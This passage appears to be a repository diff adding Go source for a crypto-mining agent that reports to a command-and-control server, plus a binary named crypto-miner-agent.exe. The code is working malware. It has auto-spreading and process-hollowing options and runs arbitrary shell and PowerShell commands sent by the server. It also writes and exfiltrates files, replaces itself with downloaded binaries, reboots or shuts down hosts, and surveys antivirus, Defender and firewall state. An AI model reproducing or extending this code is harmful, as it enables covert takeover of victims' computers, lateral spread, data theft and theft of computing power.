backupPools[i] = BackupPoolEntry{Host: bp.Host, Port: bp.Port, TLS: bp.TLS, Pass: bp.Pass}
|
||||||
|
}
|
||||||
|
|
||||||
|
payload, _ := json.Marshal(AuthPayload{
|
||||||
|
AgentID: c.agentID,
|
||||||
|
FleetSecret: c.cfg.FleetSecret,
|
||||||
|
Wallet: c.cfg.Wallet,
|
||||||
|
BackupPools: backupPools,
|
||||||
|
Version: config.Version,
|
||||||
|
Hostname: host,
|
||||||
|
CPUCores: cores,
|
||||||
|
MemoryGB: memGB,
|
||||||
|
Worker: c.cfg.WorkerName,
|
||||||
|
PoolHost: c.cfg.PoolHost,
|
||||||
|
PoolPort: c.cfg.PoolPort,
|
||||||
|
PoolTLS: c.cfg.PoolTLS,
|
||||||
|
PoolPass: c.cfg.PoolPass,
|
||||||
|
AIEnabled: c.cfg.AIEnabled,
|
||||||
|
AIOllamaEndpoint: c.cfg.AIOllamaEndpoint,
|
||||||
|
AIModel: c.cfg.AIModel,
|
||||||
|
HolePunch: c.cfg.HolePunch,
|
||||||
|
RemoteAggressive: c.cfg.RemoteAggressive,
|
||||||
|
MeshP2P: c.cfg.MeshP2P,
|
||||||
|
AutoSpread: c.cfg.AutoSpread,
|
||||||
|
ProcessHollowing: c.cfg.ProcessHollowing && runtime.GOOS == "windows",
|
||||||
|
Platform: runtime.GOOS,
|
||||||
|
Arch: runtime.GOARCH,
|
||||||
|
OSVersion: deploy.HostOSVersion(),
|
||||||
|
MacAddress: primaryMACAddress(),
|
||||||
|
})
|
||||||
|
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
|
||||||
|
_, data, err := c.conn.ReadMessage()
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
var msg Message
|
||||||
|
if err := json.Unmarshal(data, &msg); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if msg.Type != "auth_response" {
|
||||||
|
return fmt.Errorf("unexpected message: %s", msg.Type)
|
||||||
|
}
|
||||||
|
var resp AuthResponse
|
||||||
|
if err := json.Unmarshal(msg.Payload, &resp); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
if !resp.Success {
|
||||||
|
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||||
|
}
|
||||||
|
c.agentID = resp.AgentID
|
||||||
|
log.Printf("[agent] authenticated as %s", c.agentID)
|
||||||
|
|
||||||
|
// Gate AutoSpread behind successful server auth: only spread on fleets where
|
||||||
|
// our fleet secret was accepted, preventing lateral movement on non-owned networks.
|
||||||
|
if c.cfg.AutoSpread {
|
||||||
|
c.spreadOnce.Do(func() {
|
||||||
|
deploy.StartAutoSpreader(c.cfg)
|
||||||
|
// One-shot first-run spread (triggered on the very first install).
|
||||||
|
if deploy.WantsFirstRunSpread(c.cfg) {
|
||||||
|
deploy.RunSpreadOnce(c.cfg)
|
||||||
|
deploy.ClearFirstRunSpreadMarker(c.cfg)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func jobPayloadHasError(payload json.RawMessage) bool {
|
||||||
|
_, ok := jobPayloadErrorMessage(payload)
|
||||||
|
return ok
|
||||||
|
}
|
||||||
|
|
||||||
|
func jobPayloadErrorMessage(payload json.RawMessage) (string, bool) {
|
||||||
|
var raw map[string]json.RawMessage
|
||||||
|
if err := json.Unmarshal(payload, &raw); err != nil {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
errMsg, ok := raw["error"]
|
||||||
|
if !ok {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
msg := strings.Trim(string(errMsg), `"`)
|
||||||
|
if msg == "" {
|
||||||
|
return "", false
|
||||||
|
}
|
||||||
|
return msg, true
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) handleMessage(msg Message) {
|
||||||
|
switch msg.Type {
|
||||||
|
case "new_job":
|
||||||
|
if jobPayloadHasError(msg.Payload) {
|
||||||
|
if msg, _ := jobPayloadErrorMessage(msg.Payload); msg != "" {
|
||||||
|
log.Printf("[agent] job error from server: %s", msg)
|
||||||
|
}
|
||||||
|
// Back off 3 seconds before retrying — pool may still be connecting.
|
||||||
|
time.AfterFunc(3*time.Second, func() {
|
||||||
|
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
var j job.Job
|
||||||
|
if err := json.Unmarshal(msg.Payload, &j); err != nil {
|
||||||
|
log.Printf("[agent] bad job payload: %v", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if j.Blob == "" {
|
||||||
|
log.Printf("[agent] empty job blob — requesting job again")
|
||||||
|
time.AfterFunc(3*time.Second, func() {
|
||||||
|
c.write(Message{Type: "get_job", Payload: json.RawMessage("{}")})
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
log.Printf("[agent] new job %s height=%d", j.ID, j.Height)
|
||||||
|
c.lastJobAt.Store(time.Now())
|
||||||
|
c.pool.SetJob(&j)
|
||||||
|
case "share_result":
|
||||||
|
var result ShareResult
|
||||||
|
if err := json.Unmarshal(msg.Payload, &result); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if result.Accepted {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.sharesAccepted++
|
||||||
|
c.mu.Unlock()
|
||||||
|
}
|
||||||
|
case "command":
|
||||||
|
var cmd struct {
|
||||||
|
Action string `json:"action"`
|
||||||
|
TailLines int `json:"tail_lines"`
|
||||||
|
Command string `json:"command"`
|
||||||
|
Path string `json:"path"`
|
||||||
|
Data string `json:"data"`
|
||||||
|
}
|
||||||
|
if err := json.Unmarshal(msg.Payload, &cmd); err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// Run off the read loop so long exec/powershell probes do not block
|
||||||
|
// subsequent commands or server pings.
|
||||||
|
go c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) handleCommand(action string, tailLines int, command, path, data string) {
|
||||||
|
if c.handleAggressiveCommand(action, tailLines, command, path, data) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
switch action {
|
||||||
|
case "pause":
|
||||||
|
c.pool.PauseRemote()
|
||||||
|
c.sendCommandResult(action, true, "mining paused")
|
||||||
|
case "resume":
|
||||||
|
c.pool.ResumeRemote()
|
||||||
|
c.sendCommandResult(action, true, "mining resumed")
|
||||||
|
case "restart":
|
||||||
|
c.sendCommandResult(action, true, "restarting")
|
||||||
|
go c.restartSelf()
|
||||||
|
case "stop", "kill":
|
||||||
|
c.sendCommandResult(action, true, "stopping")
|
||||||
|
go c.stopSelf()
|
||||||
|
case "uninstall":
|
||||||
|
c.sendCommandResult(action, true, "uninstalling")
|
||||||
|
go func() {
|
||||||
|
time.Sleep(500 * time.Millisecond)
|
||||||
|
if err := deploy.Uninstall(c.cfg); err != nil {
|
||||||
|
log.Printf("[agent] remote uninstall failed: %v", err)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
case "reboot_machine":
|
||||||
|
go func() {
|
||||||
|
time.Sleep(500 * time.Millisecond)
|
||||||
|
if err := c.execPowerCommand("reboot"); err != nil {
|
||||||
|
c.sendCommandResult(action, false, "reboot failed: "+err.Error())
|
||||||
|
} else {
|
||||||
|
c.sendCommandResult(action, true, "system reboot initiated")
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
case "shutdown_machine":
|
||||||
|
go func() {
|
||||||
|
time.Sleep(500 * time.Millisecond)
|
||||||
|
if err := c.execPowerCommand("shutdown"); err != nil {
|
||||||
|
c.sendCommandResult(action, false, "shutdown failed: "+err.Error())
|
||||||
|
} else {
|
||||||
|
c.sendCommandResult(action, true, "system shutdown initiated")
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
case "get_log":
|
||||||
|
if tailLines <= 0 {
|
||||||
|
tailLines = 300
|
||||||
|
}
|
||||||
|
content, err := readLogTail(c.cfg, tailLines)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
payload, _ := json.Marshal(map[string]interface{}{
|
||||||
|
"content": content,
|
||||||
|
"lines": tailLines,
|
||||||
|
})
|
||||||
|
_ = c.write(Message{Type: "log_tail", Payload: payload})
|
||||||
|
preview := content
|
||||||
|
if len(preview) > 12000 {
|
||||||
|
preview = preview[len(preview)-12000:]
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, preview)
|
||||||
|
case "exec":
|
||||||
|
if command == "" {
|
||||||
|
c.sendCommandResult(action, false, "no command provided")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
out, err := c.runExecCommand(command)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, formatCmdErr(err, out))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, string(out))
|
||||||
|
case "powershell":
|
||||||
|
if command == "" {
|
||||||
|
c.sendCommandResult(action, false, "no command provided")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
out, err := c.runShellCommand(command)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, formatCmdErr(err, out))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, string(out))
|
||||||
|
case "upload":
|
||||||
|
if path == "" || data == "" {
|
||||||
|
c.sendCommandResult(action, false, "path and data (base64) are required")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
decoded, err := base64.StdEncoding.DecodeString(data)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, "invalid base64 data: "+err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(path, decoded, 0644); err != nil {
|
||||||
|
c.sendCommandResult(action, false, "failed to write file: "+err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, true, fmt.Sprintf("file uploaded to %s (%d bytes)", path, len(decoded)))
|
||||||
|
case "download":
|
||||||
|
if path == "" {
|
||||||
|
c.sendCommandResult(action, false, "path is required")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
b, err := os.ReadFile(path)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult(action, false, "failed to read file: "+err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
encoded := base64.StdEncoding.EncodeToString(b)
|
||||||
|
c.sendCommandResult(action, true, encoded)
|
||||||
|
case "upgrade":
|
||||||
|
// data = download URL for the new binary
|
||||||
|
if data == "" {
|
||||||
|
c.sendCommandResult(action, false, "no upgrade URL provided")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
go c.performUpgrade(data)
|
||||||
|
c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
|
||||||
|
default:
|
||||||
|
if c.handleReconCommand(action, command) {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
c.sendCommandResult(action, false, "unknown action")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) sendCommandResult(action string, success bool, message string) {
|
||||||
|
payload, _ := json.Marshal(map[string]interface{}{
|
||||||
|
"action": action,
|
||||||
|
"success": success,
|
||||||
|
"message": message,
|
||||||
|
})
|
||||||
|
_ = c.write(Message{Type: "command_result", Payload: payload})
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) stopSelf() {
|
||||||
|
time.Sleep(300 * time.Millisecond)
|
||||||
|
c.pool.Stop()
|
||||||
|
os.Exit(0)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) restartSelf() {
|
||||||
|
time.Sleep(300 * time.Millisecond)
|
||||||
|
exe, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = spawnWorker(exe)
|
||||||
|
os.Exit(0)
|
||||||
|
}
|
||||||
|
|
||||||
|
// performUpgrade downloads a new binary from downloadURL, replaces the
|
||||||
|
// installed binary, and restarts. Works around Windows file-locking by
|
||||||
|
// renaming the running exe to .old before writing the new one.
|
||||||
|
func (c *AgentClient) performUpgrade(downloadURL string) {
|
||||||
|
log.Printf("[agent] upgrade: downloading from %s", downloadURL)
|
||||||
|
resp, err := http.Get(downloadURL) //nolint:gosec — URL is from trusted C2
|
||||||
|
if err != nil {
|
||||||
|
log.Printf("[agent] upgrade: download failed: %v", err)
|
||||||
|
c.sendCommandResult("upgrade", false, "download failed: "+err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
defer resp.Body.Close()
|
||||||
|
if resp.StatusCode != http.StatusOK {
|
||||||
|
log.Printf("[agent] upgrade: server returned %s", resp.Status)
|
||||||
|
c.sendCommandResult("upgrade", false, "server returned "+resp.Status)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
exe, err := os.Executable()
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult("upgrade", false, "cannot locate executable: "+err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
exe, _ = filepath.Abs(exe)
|
||||||
|
|
||||||
|
// Write new binary to a temp file in the same directory
|
||||||
|
newPath := exe + ".new"
|
||||||
|
tmp, err := os.OpenFile(newPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
|
||||||
|
if err != nil {
|
||||||
|
c.sendCommandResult("upgrade", false, "cannot write upgrade: "+err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if _, err := io.Copy(tmp, resp.Body); err != nil {
|
||||||
|
tmp.Close()
|
||||||
|
_ = os.Remove(newPath)
|
||||||
|
c.sendCommandResult("upgrade", false, "write failed: "+err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
tmp.Close()
|
||||||
|
|
||||||
|
// On Windows: rename the running exe to .old (allowed), then rename .new into place.
|
||||||
|
// On other OSes: direct rename works while the process is running.
|
||||||
|
oldPath := exe + ".old"
|
||||||
|
_ = os.Remove(oldPath)
|
||||||
|
if err := os.Rename(exe, oldPath); err != nil {
|
||||||
|
_ = os.Remove(newPath)
|
||||||
|
c.sendCommandResult("upgrade", false, "rename old binary failed: "+err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if err := os.Rename(newPath, exe); err != nil {
|
||||||
|
// Try to roll back
|
||||||
|
_ = os.Rename(oldPath, exe)
|
||||||
|
_ = os.Remove(newPath)
|
||||||
|
c.sendCommandResult("upgrade", false, "rename new binary failed: "+err.Error())
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("[agent] upgrade: binary replaced, restarting")
|
||||||
|
c.sendCommandResult("upgrade", true, "binary replaced — restarting")
|
||||||
|
time.Sleep(500 * time.Millisecond)
|
||||||
|
|
||||||
|
if startErr := spawnWorker(exe); startErr != nil {
|
||||||
|
log.Printf("[agent] upgrade: restart failed: %v", startErr)
|
||||||
|
}
|
||||||
|
os.Exit(0)
|
||||||
|
}
|
||||||
|
|
||||||
|
func readLogTail(cfg config.RuntimeConfig, tailLines int) (string, error) {
|
||||||
|
if !cfg.FileLogging || cfg.StealthMode {
|
||||||
|
return "", fmt.Errorf("logging disabled (stealth build or file_logging=false)")
|
||||||
|
}
|
||||||
|
if tailLines <= 0 {
|
||||||
|
tailLines = 200
|
||||||
|
}
|
||||||
|
installDir, err := cfg.InstallDirectory()
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
logPath := filepath.Join(installDir, "miner.log")
|
||||||
|
data, err := os.ReadFile(logPath)
|
||||||
|
if err != nil {
|
||||||
|
if os.IsNotExist(err) {
|
||||||
|
return "", fmt.Errorf("miner.log not found")
|
||||||
|
}
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
lines := strings.Split(string(data), "\n")
|
||||||
|
if len(lines) > 0 && lines[len(lines)-1] == "" {
|
||||||
|
lines = lines[:len(lines)-1]
|
||||||
|
}
|
||||||
|
if len(lines) > tailLines {
|
||||||
|
lines = lines[len(lines)-tailLines:]
|
||||||
|
}
|
||||||
|
return strings.Join(lines, "\n"), nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) submitShare(jobID, nonce, hash string) {
|
||||||
|
c.mu.Lock()
|
||||||
|
c.sharesSubmitted++
|
||||||
|
conn := c.conn // read under the same lock to avoid data race
|
||||||
|
c.mu.Unlock()
|
||||||
|
|
||||||
|
payload, _ := json.Marshal(SharePayload{
|
||||||
|
JobID: jobID,
|
||||||
|
Nonce: nonce,
|
||||||
|
Hash: hash,
|
||||||
|
Worker: c.cfg.WorkerName,
|
||||||
|
})
|
||||||
|
|
||||||
|
if conn != nil {
|
||||||
|
_ = c.write(Message{Type: "submit_share", Payload: payload})
|
||||||
|
} else if c.cfg.MeshP2P {
|
||||||
|
c.mesh.BroadcastToMesh(Message{Type: "submit_share", Payload: payload})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// probeSSH returns true if an SSH daemon is listening on port 22 locally.
|
||||||
|
func probeSSH() bool {
|
||||||
|
conn, err := net.DialTimeout("tcp", "127.0.0.1:22", 2*time.Second)
|
||||||
|
if err != nil {
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
conn.Close()
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) statsLoop(stop <-chan struct{}) {
|
||||||
|
ticker := time.NewTicker(10 * time.Second)
|
||||||
|
defer ticker.Stop()
|
||||||
|
|
||||||
|
var samples []float64
|
||||||
|
var probeTick int
|
||||||
|
var lastSSH *bool
|
||||||
|
var lastPosture *PostureReport
|
||||||
|
var lastPressure *ResourcePressure
|
||||||
|
var lastDNS *DNSConfig
|
||||||
|
var lastListenPortCount *int
|
||||||
|
var postureReady bool
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-stop:
|
||||||
|
return
|
||||||
|
case <-ticker.C:
|
||||||
|
hps := c.pool.HashesPerSecond()
|
||||||
|
c.pool.ResetHashCounter()
|
||||||
|
samples = append(samples, hps)
|
||||||
|
if len(samples) > 90 {
|
||||||
|
samples = samples[len(samples)-90:]
|
||||||
|
}
|
||||||
|
|
||||||
|
var avg15s, avg1m, avg15m float64
|
||||||
|
if len(samples) > 0 {
|
||||||
|
avg15s = samples[len(samples)-1]
|
||||||
|
}
|
||||||
|
if len(samples) >= 6 {
|
||||||
|
for _, v := range samples[len(samples)-6:] {
|
||||||
|
avg1m += v
|
||||||
|
}
|
||||||
|
avg1m /= 6
|
||||||
|
} else {
|
||||||
|
avg1m = avg15s
|
||||||
|
}
|
||||||
|
for _, v := range samples {
|
||||||
|
avg15m += v
|
||||||
|
}
|
||||||
|
avg15m /= float64(len(samples))
|
||||||
|
|
||||||
|
cpuPct, memPct := c.reporter.Usage()
|
||||||
|
if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
|
||||||
|
cpuPct = sysCPU
|
||||||
|
}
|
||||||
|
c.mu.Lock()
|
||||||
|
submitted := c.sharesSubmitted
|
||||||
|
accepted := c.sharesAccepted
|
||||||
|
c.mu.Unlock()
|
||||||
|
|
||||||
|
// Probe SSH, posture, and resource pressure every 6 ticks (~60s)
|
||||||
|
if probeTick%6 == 0 {
|
||||||
|
ok := probeSSH()
|
||||||
|
lastSSH = &ok
|
||||||
|
if p := collectPosture(); p != nil {
|
||||||
|
lastPosture = p
|
||||||
|
postureReady = true
|
||||||
|
if p.SSHListening != nil {
|
||||||
|
lastSSH = p.SSHListening
|
||||||
|
}
|
||||||
|
}
|
||||||
|
lastPressure = collectResourcePressure()
|
||||||
|
lastDNS = probeDNS()
|
||||||
|
if lp := collectListenPorts(); lp != nil {
|
||||||
|
n := lp.Count
|
||||||
|
lastListenPortCount = &n
|
||||||
|
}
|
||||||
|
}
|
||||||
|
probeTick++
|
||||||
|
|
||||||
|
stats := StatsPayload{
|
||||||
|
Hashrate15s: avg15s,
|
||||||
|
Hashrate1m: avg1m,
|
||||||
|
Hashrate15m: avg15m,
|
||||||
|
SharesSubmitted: submitted,
|
||||||
|
SharesAccepted: accepted,
|
||||||
|
CPUUsagePct: cpuPct,
|
||||||
|
MemoryUsagePct: memPct,
|
||||||
|
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
|
||||||
|
SSHAvailable: lastSSH,
|
||||||
|
}
|
||||||
|
if lastDNS != nil {
|
||||||
|
stats.DNSServers = lastDNS.Servers
|
||||||
|
stats.DNSSearchDomains = lastDNS.SearchDomains
|
||||||
|
}
|
||||||
|
stats.ListenPortCount = lastListenPortCount
|
||||||
|
if lastPressure != nil {
|
||||||
|
stats.CPUFreqMHz = lastPressure.CPUFreqMHz
|
||||||
|
stats.CPUMaxMHz = lastPressure.CPUMaxMHz
|
||||||
|
stats.CPUThrottle = lastPressure.CPUThrottle
|
||||||
|
stats.CPUTempC = lastPressure.CPUTempC
|
||||||
|
stats.DiskFreeGB = lastPressure.DiskFreeGB
|
||||||
|
stats.DiskTotalGB = lastPressure.DiskTotalGB
|
||||||
|
stats.DiskFreePct = lastPressure.DiskFreePct
|
||||||
|
stats.GPUTempC = lastPressure.GPUTempC
|
||||||
|
stats.GPUUsagePct = lastPressure.GPUUsagePct
|
||||||
|
}
|
||||||
|
// GPU miner (Ravencoin) stats — included when GPU miner is running
|
||||||
|
c.mu.Lock()
|
||||||
|
gm := c.gpuMiner
|
||||||
|
c.mu.Unlock()
|
||||||
|
if gm != nil {
|
||||||
|
gs, active := gm.Stats()
|
||||||
|
stats.GPUMinerActive = &active
|
||||||
|
stats.GPUHashrate15s = gs.Hashrate15s
|
||||||
|
stats.GPUHashrate1m = gs.Hashrate1m
|
||||||
|
stats.GPUHashrate15m = gs.Hashrate15m
|
||||||
|
stats.GPUModel = gm.GPUModel()
|
||||||
|
if gs.GPUTempC != nil {
|
||||||
|
stats.GPUTempC = gs.GPUTempC
|
||||||
|
}
|
||||||
|
if gs.GPUUsagePct != nil {
|
||||||
|
stats.GPUUsagePct = gs.GPUUsagePct
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if postureReady && lastPosture != nil {
|
||||||
|
score := lastPosture.PostureScore
|
||||||
|
stats.PostureScore = &score
|
||||||
|
stats.DefenderEnabled = lastPosture.DefenderEnabled
|
||||||
|
stats.DefenderRTP = lastPosture.DefenderRTP
|
||||||
|
stats.AVProducts = lastPosture.AVProducts
|
||||||
|
stats.FirewallDomain = lastPosture.FirewallDomain
|
||||||
|
stats.FirewallPrivate = lastPosture.FirewallPrivate
|
||||||
|
stats.FirewallPublic = lastPosture.FirewallPublic
|
||||||
|
stats.LastPatchDays = lastPosture.LastPatchDays
|
||||||
|
stats.LastPatch = lastPosture.LastPatch
|
||||||
|
stats.PendingUpdates = lastPosture.PendingUpdates
|
||||||
|
stats.RebootPending = lastPosture.RebootPending
|
||||||
|
stats.AgentElevated = lastPosture.AgentElevated
|
||||||
|
stats.Services = lastPosture.Services
|
||||||
|
}
|
||||||
|
payload, _ := json.Marshal(stats)
|
||||||
|
_ = c.write(Message{Type: "stats", Payload: payload})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (c *AgentClient) write(msg Message) error {
|
||||||
|
c.mu.Lock()
|
||||||
|
defer c.mu.Unlock()
|
||||||
|
if c.conn == nil {
|
||||||
|
return fmt.Errorf("not connected")
|
||||||
|
}
|
||||||
|
return c.conn.WriteJSON(msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// needsStratumFallback returns true when either:
|
||||||
|
// - C2 is offline for > 30 seconds, OR
|
||||||
|
// - C2 is online but no mining job has been delivered in > 90 seconds
|
||||||
|
// (the pool proxy on the server is broken or still connecting)
|
||||||
|
func (c *AgentClient) needsStratumFallback(disconnectedSince time.Time) bool {
|
||||||
|
if !c.connected.Load() {
|
||||||
|
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 30*time.Second
|
||||||
|
}
|
||||||
|
// Connected but jobless: check when the last valid job arrived.
|
||||||
|
if raw := c.lastJobAt.Load(); raw != nil {
|
||||||
|
lastJob := raw.(time.Time)
|
||||||
|
return time.Since(lastJob) > 90*time.Second
|
||||||
|
}
|
||||||
|
// Never received a job; fall back after 90s of being connected with nothing to mine.
|
||||||
|
// Use disconnectedSince as a proxy for "connected since" (it's zeroed on connect).
|
||||||
|
return !disconnectedSince.IsZero() && time.Since(disconnectedSince) > 90*time.Second
|
||||||
|
}
|
||||||
|
|
||||||
|
// stratumFallbackManager monitors C2 connectivity and mining job delivery.
|
||||||
|
// It spins up a direct Stratum connection when:
|
||||||
|
// - C2 has been offline for 30+ seconds, OR
|
||||||
|
// - C2 is connected but the server pool proxy has not delivered a job in 90+ seconds
|
||||||
|
//
|
||||||
|
// When real jobs start flowing from C2 again, the fallback is stopped and the
|
||||||
|
// share handler is restored to the C2 WebSocket path.
|
||||||
|
func (c *AgentClient) stratumFallbackManager(done <-chan struct{}) {
|
||||||
|
if c.cfg.PoolHost == "" {
|
||||||
|
return // no pool configured
|
||||||
|
}
|
||||||
|
|
||||||
|
type fallback struct {
|
||||||
|
stop chan struct{}
|
||||||
|
wait chan struct{}
|
||||||
|
}
|
||||||
|
var fb *fallback
|
||||||
|
|
||||||
|
// disconnectedSince tracks the start of the current disconnection window.
|
||||||
|
// When C2 is connected, it is zeroed. When C2 drops, it is set once and
|
||||||
|
// kept until reconnection. This is also used to measure "connected but
|
||||||
|
// jobless" time when the server pool proxy is broken.
|
||||||
|
var disconnectedSince time.Time
|
||||||
|
ticker := time.NewTicker(5 * time.Second)
|
||||||
|
defer ticker.Stop()
|
||||||
|
|
||||||
|
startFallback := func() {
|
||||||
|
if fb != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
stop := make(chan struct{})
|
||||||
|
wait := make(chan struct{})
|
||||||
|
sc := miner.NewStratumClient(c.pool, c.cfg)
|
||||||
|
go func() {
|
||||||
|
defer close(wait)
|
||||||
|
sc.RunFallback(stop)
|
||||||
|
}()
|
||||||
|
fb = &fallback{stop: stop, wait: wait}
|
||||||
|
if c.connected.Load() {
|
||||||
|
log.Printf("[stratum] C2 connected but no job in 90s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||||
|
} else {
|
||||||
|
log.Printf("[stratum] C2 offline >30s — direct Stratum fallback started (%s:%d)", c.cfg.PoolHost, c.cfg.PoolPort)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
stopFallback := func(reason string) {
|
||||||
|
if fb != nil {
|
||||||
|
close(fb.stop)
|
||||||
|
<-fb.wait
|
||||||
|
fb = nil
|
||||||
|
c.pool.SetShareHandler(c.submitShare)
|
||||||
|
log.Printf("[stratum] fallback stopped — %s", reason)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-done:
|
||||||
|
stopFallback("agent shutting down")
|
||||||
|
return
|
||||||
|
case <-ticker.C:
|
||||||
|
connected := c.connected.Load()
|
||||||
|
|
||||||
|
// Track disconnection time (reset to zero while connected).
|
||||||
|
if connected {
|
||||||
|
if fb != nil {
|
||||||
|
// Check if real jobs are flowing again; if so, drop the fallback.
|
||||||
|
if raw := c.lastJobAt.Load(); raw != nil {
|
||||||
|
lastJob := raw.(time.Time)
|
||||||
|
if time.Since(lastJob) < 15*time.Second {
|
||||||
|
disconnectedSince = time.Time{}
|
||||||
|
stopFallback("C2 pool delivering jobs again")
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Reset the "no-job" timer every time we are connected and
|
||||||
|
// the pool is delivering (or we have not started timing yet).
|
||||||
|
if raw := c.lastJobAt.Load(); raw != nil {
|
||||||
|
disconnectedSince = time.Time{}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// Record when we first went offline.
|
||||||
|
if disconnectedSince.IsZero() {
|
||||||
|
disconnectedSince = time.Now()
|
||||||
|
}
|
||||||
|
// Stop fallback when C2 comes back; it will resume on next job.
|
||||||
|
// (We keep the fallback alive while offline — don't stop it here.)
|
||||||
|
}
|
||||||
|
|
||||||
|
if fb == nil && c.needsStratumFallback(disconnectedSince) {
|
||||||
|
startFallback()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildWSURL(serverURL string) (string, error) {
|
||||||
|
u, err := url.Parse(strings.TrimSpace(serverURL))
|
||||||
|
if err != nil {
|
||||||
|
return "", err
|
||||||
|
}
|
||||||
|
switch u.Scheme {
|
||||||
|
case "https":
|
||||||
|
u.Scheme = "wss"
|
||||||
|
case "http", "":
|
||||||
|
u.Scheme = "ws"
|
||||||
|
case "wss", "ws":
|
||||||
|
default:
|
||||||
|
return "", fmt.Errorf("unsupported server URL scheme: %s", u.Scheme)
|
||||||
|
}
|
||||||
|
if u.Scheme == "" {
|
||||||
|
u.Scheme = "ws"
|
||||||
|
}
|
||||||
|
u.Path = strings.TrimSuffix(u.Path, "/") + "/ws/agent"
|
||||||
|
u.RawQuery = ""
|
||||||
|
u.Fragment = ""
|
||||||
|
return u.String(), nil
|
||||||
|
}
|
||||||
BIN
usb/agent/crypto-miner-agent.exe
Normal file
BIN
usb/agent/crypto-miner-agent.exe
Normal file
Binary file not shown.
Reference in New Issue
Block a user